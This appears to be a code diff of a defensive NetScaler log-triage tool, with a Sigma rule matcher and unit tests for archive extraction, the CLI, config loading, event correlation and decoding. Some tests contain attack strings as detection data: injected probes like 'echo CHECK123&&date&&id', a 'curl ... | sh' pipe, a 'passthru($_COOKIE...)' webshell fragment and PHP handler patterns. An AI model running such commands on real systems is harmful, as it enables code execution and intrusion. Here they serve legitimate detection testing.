|
result: list[_Rule] = []
|
||||||
|
indicators: list[dict[str, object]] = []
|
||||||
|
identifiers: set[str] = set()
|
||||||
|
for rule in collection.rules:
|
||||||
|
if not isinstance(rule, SigmaRule):
|
||||||
|
raise UnsupportedSigma("Only Sigma detection rules are supported")
|
||||||
|
if rule.taxonomy != "sigma":
|
||||||
|
raise UnsupportedSigma("Custom Sigma taxonomies are unsupported")
|
||||||
|
if (
|
||||||
|
rule.logsource.product != "netscaler"
|
||||||
|
or rule.logsource.category
|
||||||
|
or rule.logsource.custom_attributes
|
||||||
|
):
|
||||||
|
raise UnsupportedSigma(
|
||||||
|
"Only product netscaler without category/custom logsource is supported"
|
||||||
|
)
|
||||||
|
service = rule.logsource.service
|
||||||
|
if service is not None and service not in _SERVICES:
|
||||||
|
raise UnsupportedSigma(f"Unsupported Sigma logsource service: {service}")
|
||||||
|
for detection in rule.detection.detections.values():
|
||||||
|
_modifiers(detection)
|
||||||
|
predicates = [
|
||||||
|
_compile(condition.parsed, timeout, [0])
|
||||||
|
for condition in rule.detection.parsed_condition
|
||||||
|
]
|
||||||
|
|
||||||
|
def either(event: Mapping[str, object], parts: list[Predicate] = predicates) -> bool:
|
||||||
|
return any(part(event) for part in parts)
|
||||||
|
|
||||||
|
identifier = str(rule.id) if rule.id else rule.title
|
||||||
|
if identifier in identifiers:
|
||||||
|
raise UnsupportedSigma("Duplicate Sigma rule identifier/title")
|
||||||
|
identifiers.add(identifier)
|
||||||
|
custom = dict(rule.custom_attributes)
|
||||||
|
indicators.extend(_indicator_catalog(custom))
|
||||||
|
custom.pop("indicators", None)
|
||||||
|
try:
|
||||||
|
if len(json.dumps(custom).encode()) > 16384:
|
||||||
|
raise UnsupportedSigma("Per-hit Sigma custom metadata exceeds 16 KiB")
|
||||||
|
except TypeError as exc:
|
||||||
|
raise UnsupportedSigma("Sigma custom metadata must be JSON serializable") from exc
|
||||||
|
metadata: dict[str, object] = {
|
||||||
|
"id": identifier,
|
||||||
|
"title": rule.title,
|
||||||
|
"name": rule.name or "",
|
||||||
|
"custom_attributes": custom,
|
||||||
|
"description": rule.description or "",
|
||||||
|
"references": list(rule.references),
|
||||||
|
"level": rule.level.name.lower() if rule.level else "",
|
||||||
|
"falsepositives": list(rule.falsepositives),
|
||||||
|
"source": source,
|
||||||
|
"format": "sigma",
|
||||||
|
"evaluation": "local_supported_subset",
|
||||||
|
}
|
||||||
|
fields = frozenset(
|
||||||
|
name for c in rule.detection.parsed_condition for name in _used_fields(c.parsed)
|
||||||
|
)
|
||||||
|
result.append(_Rule(identifier, service, either, "raw" in fields, fields, metadata))
|
||||||
|
return cls(result, indicators)
|
||||||
|
|
||||||
|
def search_with_details(
|
||||||
|
self, event: Mapping[str, object], decoded: Sequence[str] = ()
|
||||||
|
) -> list[dict[str, object]]:
|
||||||
|
if len(decoded) > 64:
|
||||||
|
raise SigmaEvaluationLimit("Sigma decoded-view limit exceeded")
|
||||||
|
normalized: dict[str, object] = {}
|
||||||
|
fields = event.get("fields")
|
||||||
|
if isinstance(fields, Mapping):
|
||||||
|
normalized.update((_field(str(k)), v) for k, v in fields.items())
|
||||||
|
normalized.update((_field(k), v) for k, v in event.items() if k != "fields")
|
||||||
|
# Validate supported views before Boolean short-circuits or service filtering.
|
||||||
|
for name in self.fields:
|
||||||
|
field_value = normalized.get(name)
|
||||||
|
values = field_value if isinstance(field_value, (list, tuple)) else [field_value]
|
||||||
|
if len(values) > 10000:
|
||||||
|
raise SigmaEvaluationLimit("Sigma referenced field exceeds 10000 values")
|
||||||
|
for value in values:
|
||||||
|
if isinstance(value, str) and len(value) > 1048576:
|
||||||
|
raise SigmaEvaluationLimit("Sigma event field exceeds 1 MiB")
|
||||||
|
for value in decoded:
|
||||||
|
if len(value) > 1048576:
|
||||||
|
raise SigmaEvaluationLimit("Sigma decoded field exceeds 1 MiB")
|
||||||
|
results = []
|
||||||
|
for rule in self.rules:
|
||||||
|
if rule.service is not None and normalized.get("kind") != rule.service:
|
||||||
|
continue
|
||||||
|
bases = []
|
||||||
|
if rule.predicate(normalized):
|
||||||
|
bases.append("raw")
|
||||||
|
views = decoded if rule.uses_raw else ()
|
||||||
|
for index, value in enumerate(views):
|
||||||
|
if len(value) > 1048576:
|
||||||
|
raise SigmaEvaluationLimit("Sigma decoded field exceeds 1 MiB")
|
||||||
|
if rule.predicate({**normalized, "raw": value}):
|
||||||
|
bases.append(f"decoded:{index}")
|
||||||
|
if bases:
|
||||||
|
results.append({**rule.metadata, "basis": bases})
|
||||||
|
return results
|
||||||
|
|
||||||
|
def search(self, event: Mapping[str, object], decoded: Sequence[str] = ()) -> list[str]:
|
||||||
|
return [str(hit["id"]) for hit in self.search_with_details(event, decoded)]
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import py7zr
|
||||||
|
import pyzipper
|
||||||
|
|
||||||
|
from netscaler_triage.ingest import InputError, extract_archive
|
||||||
|
|
||||||
|
|
||||||
|
class ArchivePasswordTests(unittest.TestCase):
|
||||||
|
def test_encrypted_7z_and_aes_zip(self) -> None:
|
||||||
|
password = "sensitive-Ü-test-password"
|
||||||
|
with tempfile.TemporaryDirectory() as folder:
|
||||||
|
root = Path(folder).resolve()
|
||||||
|
for extension in ("7z", "zip"):
|
||||||
|
archive = root / ("input." + extension)
|
||||||
|
if extension == "7z":
|
||||||
|
with py7zr.SevenZipFile(
|
||||||
|
archive, "w", password=password, header_encryption=True
|
||||||
|
) as z:
|
||||||
|
z.writestr(b"log data\n", "logs/access.log")
|
||||||
|
else:
|
||||||
|
with pyzipper.AESZipFile(archive, "w", encryption=pyzipper.WZ_AES) as z:
|
||||||
|
z.setpassword(password.encode())
|
||||||
|
z.writestr("logs/access.log", b"log data\n")
|
||||||
|
original = archive.read_bytes()
|
||||||
|
destination = root / (extension + "-correct")
|
||||||
|
manifest = extract_archive(archive, destination, password=password)
|
||||||
|
self.assertEqual((destination / "logs/access.log").read_bytes(), b"log data\n")
|
||||||
|
self.assertNotIn(password, json.dumps(manifest))
|
||||||
|
for wrong in (None, "other-secret"):
|
||||||
|
failed = root / (extension + "-failed")
|
||||||
|
with self.assertRaises(InputError) as caught:
|
||||||
|
extract_archive(archive, failed, password=wrong)
|
||||||
|
self.assertNotIn(password, str(caught.exception))
|
||||||
|
self.assertNotIn("other-secret", str(caught.exception))
|
||||||
|
self.assertFalse(failed.exists())
|
||||||
|
self.assertEqual(archive.read_bytes(), original)
|
||||||
|
|
||||||
|
def test_nested_encryption_and_quota(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as folder:
|
||||||
|
root = Path(folder).resolve()
|
||||||
|
inner = root / "nested.7z"
|
||||||
|
with py7zr.SevenZipFile(inner, "w", password="secret", header_encryption=True) as z:
|
||||||
|
z.writestr(b"nested log", "messages")
|
||||||
|
outer = root / "outer.zip"
|
||||||
|
with pyzipper.AESZipFile(outer, "w", encryption=pyzipper.WZ_AES) as z:
|
||||||
|
z.setpassword(b"secret")
|
||||||
|
z.write(inner, "nested.7z")
|
||||||
|
target = root / "output"
|
||||||
|
extract_archive(outer, target, password="secret")
|
||||||
|
self.assertEqual((target / "nested.7z.extracted/messages").read_bytes(), b"nested log")
|
||||||
|
failed = root / "quota"
|
||||||
|
with self.assertRaisesRegex(InputError, "size limit"):
|
||||||
|
extract_archive(outer, failed, password="secret", max_bytes=2)
|
||||||
|
self.assertFalse(failed.exists())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
"""CLI presentation must not corrupt evidence output or generate assessments."""
|
||||||
|
|
||||||
|
import contextlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from rich.console import Console
|
||||||
|
|
||||||
|
from netscaler_triage.cli import display_result, main
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
|
||||||
|
|
||||||
|
class CliTests(unittest.TestCase):
|
||||||
|
def test_help_and_argument_errors(self) -> None:
|
||||||
|
output = io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(output), self.assertRaises(SystemExit) as raised:
|
||||||
|
main(["scan", "--help"])
|
||||||
|
self.assertEqual(raised.exception.code, 0)
|
||||||
|
self.assertIn("Log folders or archives", output.getvalue())
|
||||||
|
self.assertIn("Example:", output.getvalue())
|
||||||
|
self.assertNotIn("--regex-timeout", output.getvalue())
|
||||||
|
advanced = io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(advanced), self.assertRaises(SystemExit):
|
||||||
|
main(["scan", "--help-all"])
|
||||||
|
self.assertIn("--regex-timeout", advanced.getvalue())
|
||||||
|
error = io.StringIO()
|
||||||
|
with contextlib.redirect_stderr(error), self.assertRaises(SystemExit) as raised:
|
||||||
|
main(["scan", "--not-a-valid-option"])
|
||||||
|
self.assertEqual(raised.exception.code, 2)
|
||||||
|
self.assertIn("Invalid arguments", error.getvalue())
|
||||||
|
self.assertIn("--help", error.getvalue())
|
||||||
|
|
||||||
|
def test_json_and_interactive_output(self) -> None:
|
||||||
|
result = {"status": "complete", "counts": {"records": 7}}
|
||||||
|
output = io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(output):
|
||||||
|
display_result(result, json_output=True)
|
||||||
|
self.assertEqual(json.loads(output.getvalue()), result)
|
||||||
|
self.assertNotIn("\x1b", output.getvalue())
|
||||||
|
terminal = io.StringIO()
|
||||||
|
with patch(
|
||||||
|
"netscaler_triage.cli.Console",
|
||||||
|
return_value=Console(
|
||||||
|
file=terminal,
|
||||||
|
force_terminal=True,
|
||||||
|
color_system=None,
|
||||||
|
),
|
||||||
|
):
|
||||||
|
display_result(result)
|
||||||
|
self.assertIn("NetScaler triage results", terminal.getvalue())
|
||||||
|
|
||||||
|
def test_missing_file_is_friendly_and_has_no_stdout(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
output, error = io.StringIO(), io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
|
||||||
|
code = main(["decode", str(Path(tmp) / "missing.txt")])
|
||||||
|
self.assertEqual(code, 2)
|
||||||
|
self.assertEqual(output.getvalue(), "")
|
||||||
|
self.assertIn("Check that the input file or directory exists", error.getvalue())
|
||||||
|
|
||||||
|
def test_scan_does_not_write_an_assessment(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "sample.log").write_text("plain text\n", encoding="utf-8")
|
||||||
|
scan([("sample", source)], root / "output", [], defaults=False)
|
||||||
|
self.assertTrue((root / "output/summary.json").is_file())
|
||||||
|
self.assertFalse((root / "output/BERICHT.txt").exists())
|
||||||
|
|
||||||
|
def test_scan_requires_only_a_folder_and_never_overwrites(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "appliance"
|
||||||
|
logs.mkdir()
|
||||||
|
original = "ordinary text\n"
|
||||||
|
(logs / "sample.log").write_text(original, encoding="utf-8")
|
||||||
|
for _ in range(2):
|
||||||
|
output, error = io.StringIO(), io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
|
||||||
|
self.assertEqual(main(["scan", str(logs)]), 0)
|
||||||
|
self.assertEqual(json.loads(output.getvalue())["files"], 1)
|
||||||
|
self.assertIn("Results saved to:", error.getvalue())
|
||||||
|
destinations = list(root.glob("triage-results-*"))
|
||||||
|
self.assertEqual(len(destinations), 2)
|
||||||
|
self.assertEqual((logs / "sample.log").read_text(), original)
|
||||||
|
for destination in destinations:
|
||||||
|
config = json.loads((destination / "configuration.json").read_text())
|
||||||
|
self.assertIsNone(config["year"])
|
||||||
|
self.assertEqual(config["timezones"], {})
|
||||||
|
|
||||||
|
def test_named_inputs_remain_supported(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
with (
|
||||||
|
contextlib.redirect_stdout(io.StringIO()),
|
||||||
|
contextlib.redirect_stderr(io.StringIO()),
|
||||||
|
):
|
||||||
|
self.assertEqual(
|
||||||
|
main(["scan", "--input", f"ADC={logs}", "--output", str(root / "out")]), 0
|
||||||
|
)
|
||||||
|
config = json.loads((root / "out/configuration.json").read_text())
|
||||||
|
self.assertEqual(config["appliances"], ["ADC"])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
"""Diagnostic probes must match in request context, not as ordinary prose."""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from urllib.parse import quote
|
||||||
|
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class CommandProbeTests(unittest.TestCase):
|
||||||
|
def test_raw_url_and_base64_probes_reach_engine(self) -> None:
|
||||||
|
commands = ["echo CHECK123&&date&&id", "id", "echo CHECK123"]
|
||||||
|
lines = []
|
||||||
|
for command in commands:
|
||||||
|
payload = quote(base64.b64encode(command.encode()).decode(), safe="")
|
||||||
|
lines.append(
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
f'"GET /vpn/example.php?x={payload} HTTP/1.1" 403 0 "-" "normal"'
|
||||||
|
)
|
||||||
|
lines.append(
|
||||||
|
"Oct 1 12:00:00 adc APPFW (GET https://192.0.2.1/vpn/theme/x.php?0="
|
||||||
|
+ quote(commands[0], safe="")
|
||||||
|
+ ") <blocked>"
|
||||||
|
)
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "probes.log").write_text("\n".join(lines) + "\n")
|
||||||
|
scan([("ADC", logs)], root / "out", [])
|
||||||
|
findings = [
|
||||||
|
json.loads(x) for x in (root / "out/findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertEqual(len(findings), len(lines))
|
||||||
|
for finding in findings:
|
||||||
|
self.assertTrue(
|
||||||
|
any(x["name"] == "command_injection" for x in finding["rule_details"])
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_ordinary_context_does_not_trigger_probe_or_handler_rules(self) -> None:
|
||||||
|
matcher = Matcher([])
|
||||||
|
for event in [
|
||||||
|
{"raw": "id", "uri": "/health?id=42"},
|
||||||
|
{"raw": "echo CHECK123", "uri": "/search?q=echo"},
|
||||||
|
{"raw": "id", "uri": "/vpn/example.php"},
|
||||||
|
{"raw": "AddType application/x-httpd-php .php"},
|
||||||
|
{"raw": "AddType application/x-httpd-php-source .phps"},
|
||||||
|
]:
|
||||||
|
with self.subTest(event=event):
|
||||||
|
names = {x["name"] for x in matcher.search_sigma(event)}
|
||||||
|
self.assertFalse(names & {"command_injection", "ti_php_handler"})
|
||||||
|
self.assertTrue(
|
||||||
|
any(
|
||||||
|
x["name"] == "ti_php_handler"
|
||||||
|
for x in matcher.search_sigma({"raw": "AddType application/x-httpd-php .sig"})
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,177 @@
|
|||||||
|
"""Explicit configuration discovery and metadata-preservation checks."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import contextlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from netscaler_triage.cli import main
|
||||||
|
from netscaler_triage.config_loading import load_config, load_configs
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class ConfigLoadingTests(unittest.TestCase):
|
||||||
|
def test_directory_expansion_is_explicit_sorted_and_deduplicated(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
(root / "sub").mkdir()
|
||||||
|
(root / ".hidden").mkdir()
|
||||||
|
(root / "__pycache__").mkdir()
|
||||||
|
(root / "z.txt").write_text("last\n")
|
||||||
|
(root / "sub/a.txt").write_text("first\n")
|
||||||
|
(root / ".hidden/a.txt").write_text("hidden\n")
|
||||||
|
(root / "__pycache__/a.txt").write_text("cache\n")
|
||||||
|
(root / "ignored.log").write_text("ignored\n")
|
||||||
|
for name in ["README.txt", "LICENSE.txt", "CHANGELOG.txt"]:
|
||||||
|
(root / name).write_text("Documentation, not an indicator.\n")
|
||||||
|
configs = load_configs([root, root / "z.txt", root])
|
||||||
|
self.assertEqual([c["indicators"][0]["value"] for c in configs], ["first", "last"])
|
||||||
|
self.assertEqual(load_configs([]), [])
|
||||||
|
|
||||||
|
def test_txt_infers_unambiguous_types_and_enforces_ip_boundaries(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
path = Path(directory) / "references.txt"
|
||||||
|
path.write_text(
|
||||||
|
"192.0.2.1\n2001:db8::1\n/example/artifact\n"
|
||||||
|
"https://example.invalid/payload\n" + "a" * 64 + "\nwhoami; id\n"
|
||||||
|
)
|
||||||
|
config = load_config(path)
|
||||||
|
self.assertEqual(
|
||||||
|
[row["type"] for row in config["indicators"]],
|
||||||
|
["ipv4", "ipv6", "path", "url", "sha256", "literal"],
|
||||||
|
)
|
||||||
|
matcher = Matcher([config], defaults=False)
|
||||||
|
self.assertTrue(matcher.search("source=192.0.2.1:443")[1])
|
||||||
|
self.assertFalse(matcher.search("source=192.0.2.10")[1])
|
||||||
|
self.assertTrue(matcher.search("source=2001:db8::1")[1])
|
||||||
|
self.assertFalse(matcher.search("source=2001:db8::10")[1])
|
||||||
|
self.assertTrue(matcher.search("whoami; id")[1])
|
||||||
|
|
||||||
|
def test_csv_preserves_metadata_and_aliases(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
path = Path(directory) / "customer.csv"
|
||||||
|
path.write_text(
|
||||||
|
"indicator_type,indicator,status,source,description,confidence,evidence\n"
|
||||||
|
"ipv4,192.0.2.9,authorized_test,local,Approved test,high,auth.log:3\n"
|
||||||
|
)
|
||||||
|
row = load_config(path)["indicators"][0]
|
||||||
|
self.assertEqual(row["value"], "192.0.2.9")
|
||||||
|
self.assertEqual(row["status"], "authorized_test")
|
||||||
|
self.assertEqual(row["evidence"], "auth.log:3")
|
||||||
|
self.assertEqual(row["source"], "local")
|
||||||
|
self.assertEqual(row["confidence"], "high")
|
||||||
|
|
||||||
|
def test_legacy_regex_csv_preserves_description(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
path = Path(directory) / "rules.csv"
|
||||||
|
path.write_text("ID,Muster,description,source\ncustom,test.*value,Example,local\n")
|
||||||
|
row = load_config(path)["patterns"][0]
|
||||||
|
self.assertEqual(row["description"], "Example")
|
||||||
|
self.assertEqual(row["pattern"], "test.*value")
|
||||||
|
|
||||||
|
def test_symlink_file_and_directory_are_rejected(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
target = root / "target"
|
||||||
|
target.mkdir()
|
||||||
|
(target / "one.txt").write_text("reference")
|
||||||
|
link = root / "linked"
|
||||||
|
link.symlink_to(target, target_is_directory=True)
|
||||||
|
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||||
|
load_configs([root])
|
||||||
|
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||||
|
load_configs([link])
|
||||||
|
link.unlink()
|
||||||
|
alias = root / "alias.txt"
|
||||||
|
alias.symlink_to(target / "one.txt")
|
||||||
|
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||||
|
load_config(alias)
|
||||||
|
|
||||||
|
def test_file_count_and_combined_bytes_are_bounded(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
(root / "a.txt").write_text("first")
|
||||||
|
(root / "b.txt").write_text("second")
|
||||||
|
with (
|
||||||
|
patch("netscaler_triage.config_loading.MAX_CONFIG_FILES", 1),
|
||||||
|
self.assertRaisesRegex(ValueError, "exceeds 1 files"),
|
||||||
|
):
|
||||||
|
load_configs([root])
|
||||||
|
with (
|
||||||
|
patch("netscaler_triage.config_loading.MAX_TOTAL_BYTES", 8),
|
||||||
|
self.assertRaisesRegex(ValueError, "Combined rule packs"),
|
||||||
|
):
|
||||||
|
load_configs([root])
|
||||||
|
with (
|
||||||
|
patch("netscaler_triage.config_loading.MAX_CONFIG_BYTES", 4),
|
||||||
|
self.assertRaisesRegex(ValueError, "exceeds"),
|
||||||
|
):
|
||||||
|
load_config(root / "a.txt")
|
||||||
|
|
||||||
|
def test_invalid_inputs_have_named_errors(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
with self.assertRaisesRegex(ValueError, "No supported rule packs"):
|
||||||
|
load_configs([root])
|
||||||
|
invalid = root / "broken.json"
|
||||||
|
invalid.write_text("{broken")
|
||||||
|
with self.assertRaisesRegex(ValueError, "broken.json"):
|
||||||
|
load_configs([root])
|
||||||
|
invalid.unlink()
|
||||||
|
csv = root / "broken.csv"
|
||||||
|
csv.write_text("value,status\none,two,three\n")
|
||||||
|
with self.assertRaisesRegex(ValueError, "column count mismatch"):
|
||||||
|
load_config(csv)
|
||||||
|
|
||||||
|
def test_sigma_relative_source_distinguishes_nested_names(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
for name in ["a", "b"]:
|
||||||
|
(root / name).mkdir()
|
||||||
|
(root / name / "rules.yml").write_text("title: example\n")
|
||||||
|
configs = load_configs([root])
|
||||||
|
self.assertEqual(
|
||||||
|
[c["sigma_rules"][0]["source"] for c in configs],
|
||||||
|
["a/rules.yml", "b/rules.yml"],
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class RulesCommandTests(unittest.TestCase):
|
||||||
|
def test_valid_directory_compiles_without_output_artifacts(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
(root / "refs.csv").write_text("type,value,status\nipv4,192.0.2.1,reference_only\n")
|
||||||
|
before = sorted(p.name for p in root.iterdir())
|
||||||
|
output = io.StringIO()
|
||||||
|
with contextlib.redirect_stdout(output):
|
||||||
|
code = main(["rules", "--config", str(root), "--json"])
|
||||||
|
self.assertEqual(code, 0)
|
||||||
|
result = json.loads(output.getvalue())
|
||||||
|
self.assertEqual(result["status"], "valid")
|
||||||
|
self.assertGreater(result["sigma_rules"], 0)
|
||||||
|
self.assertGreaterEqual(result["explicit_active_indicators"], 1)
|
||||||
|
self.assertEqual(before, sorted(p.name for p in root.iterdir()))
|
||||||
|
|
||||||
|
def test_bad_sigma_and_duplicate_ids_fail_validation(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory)
|
||||||
|
first = root / "one.yml"
|
||||||
|
first.write_text("title: missing required Sigma fields\n")
|
||||||
|
with contextlib.redirect_stderr(io.StringIO()):
|
||||||
|
self.assertEqual(main(["rules", "--config", str(root)]), 2)
|
||||||
|
sigma = (
|
||||||
|
"title: Test rule\nid: d78e2aad-98f2-41fa-a552-f55aa0ad786d\n"
|
||||||
|
"logsource:\n product: netscaler\ndetection:\n"
|
||||||
|
" selection:\n raw|contains: test-marker\n condition: selection\n"
|
||||||
|
)
|
||||||
|
first.write_text(sigma)
|
||||||
|
(root / "two.yml").write_text(sigma)
|
||||||
|
stderr = io.StringIO()
|
||||||
|
with contextlib.redirect_stderr(stderr):
|
||||||
|
self.assertEqual(main(["rules", "--config", str(root)]), 2)
|
||||||
|
self.assertIn("Duplicate rule identifier", stderr.getvalue())
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
import sqlite3
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from netscaler_triage.correlation import correlate_database
|
||||||
|
|
||||||
|
|
||||||
|
class CorrelationTests(unittest.TestCase):
|
||||||
|
def setUp(self) -> None:
|
||||||
|
self.db = sqlite3.connect(":memory:")
|
||||||
|
self.db.executescript("""
|
||||||
|
CREATE TABLE events(id INTEGER PRIMARY KEY,appliance TEXT,source TEXT,
|
||||||
|
line INTEGER,timestamp TEXT,kind TEXT,data TEXT);
|
||||||
|
CREATE TABLE event_keys(event_id INTEGER,appliance TEXT,key_type TEXT,
|
||||||
|
key_value TEXT,timestamp TEXT);
|
||||||
|
""")
|
||||||
|
|
||||||
|
def tearDown(self) -> None:
|
||||||
|
self.db.close()
|
||||||
|
|
||||||
|
def add(
|
||||||
|
self,
|
||||||
|
number: int,
|
||||||
|
stamp: str | None,
|
||||||
|
source: str = "access",
|
||||||
|
device: str = "one",
|
||||||
|
key: str = "source_ip",
|
||||||
|
value: str = "192.0.2.1",
|
||||||
|
) -> None:
|
||||||
|
self.db.execute(
|
||||||
|
"INSERT INTO events VALUES(?,?,?,?,?,?,?)",
|
||||||
|
(number, device, source, number, stamp, "http", "{}"),
|
||||||
|
)
|
||||||
|
self.db.execute(
|
||||||
|
"INSERT INTO event_keys VALUES(?,?,?,?,?)", (number, device, key, value, stamp)
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_nearest_other_log_and_device_isolation(self) -> None:
|
||||||
|
self.add(1, "2026-01-01T00:00:00Z", "auth")
|
||||||
|
self.add(2, "2026-01-01T00:00:01Z")
|
||||||
|
self.add(3, "2026-01-01T00:00:02Z")
|
||||||
|
self.add(4, "2026-01-01T00:00:03Z", device="two")
|
||||||
|
result = correlate_database(self.db)
|
||||||
|
self.assertEqual(result["links"], 2)
|
||||||
|
self.assertEqual(
|
||||||
|
self.db.execute("SELECT left_id,right_id FROM correlations").fetchall(),
|
||||||
|
[(1, 2), (1, 3)],
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_times_limits_and_rerun(self) -> None:
|
||||||
|
self.add(1, "2026-01-01T01:00:00+01:00", "auth")
|
||||||
|
self.add(2, "2026-01-01T00:00:01Z")
|
||||||
|
self.add(3, "2026-01-01T00:00:02Z")
|
||||||
|
self.add(4, None)
|
||||||
|
self.add(5, "2026-01-01T00:00:03")
|
||||||
|
result = correlate_database(self.db, max_links=1)
|
||||||
|
self.assertTrue(result["truncated"])
|
||||||
|
result = correlate_database(self.db)
|
||||||
|
self.assertEqual(result["links"], 2)
|
||||||
|
self.assertEqual(result["invalid_time_keys"], 2)
|
||||||
|
self.assertEqual(correlate_database(self.db, window_seconds=0)["links"], 0)
|
||||||
|
|
||||||
|
def test_exact_keys_and_no_same_source_links(self) -> None:
|
||||||
|
self.add(1, "2026-01-01T00:00:00Z")
|
||||||
|
self.add(2, "2026-01-01T00:00:01Z")
|
||||||
|
self.add(3, "2026-01-01T00:00:02Z", "auth", value="192.0.2.10")
|
||||||
|
self.assertEqual(correlate_database(self.db)["links"], 0)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
import base64
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from netscaler_triage.decoding import decode_layers, observations
|
||||||
|
|
||||||
|
|
||||||
|
class DecodingTests(unittest.TestCase):
|
||||||
|
def test_error_and_limit_metadata(self) -> None:
|
||||||
|
self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
|
||||||
|
self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
|
||||||
|
self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
|
||||||
|
self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))
|
||||||
|
|
||||||
|
def test_command_semantics_are_qualified(self) -> None:
|
||||||
|
explanation = " ".join(
|
||||||
|
observations(
|
||||||
|
"curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
|
||||||
|
"/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
for term in (
|
||||||
|
"file permissions",
|
||||||
|
"archive",
|
||||||
|
"HUP",
|
||||||
|
"Cookie",
|
||||||
|
"interpreter",
|
||||||
|
"execution is not established",
|
||||||
|
):
|
||||||
|
self.assertIn(term, explanation)
|
||||||
|
|
||||||
|
def test_marker_and_query(self) -> None:
|
||||||
|
for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
|
||||||
|
records = decode_layers(text)
|
||||||
|
self.assertEqual(records[0]["output"], text)
|
||||||
|
self.assertIn("id", [r["output"] for r in records])
|
||||||
|
self.assertTrue(all(r["sha256"] for r in records))
|
||||||
|
|
||||||
|
def test_limits_binary_and_plus(self) -> None:
|
||||||
|
self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
|
||||||
|
self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
|
||||||
|
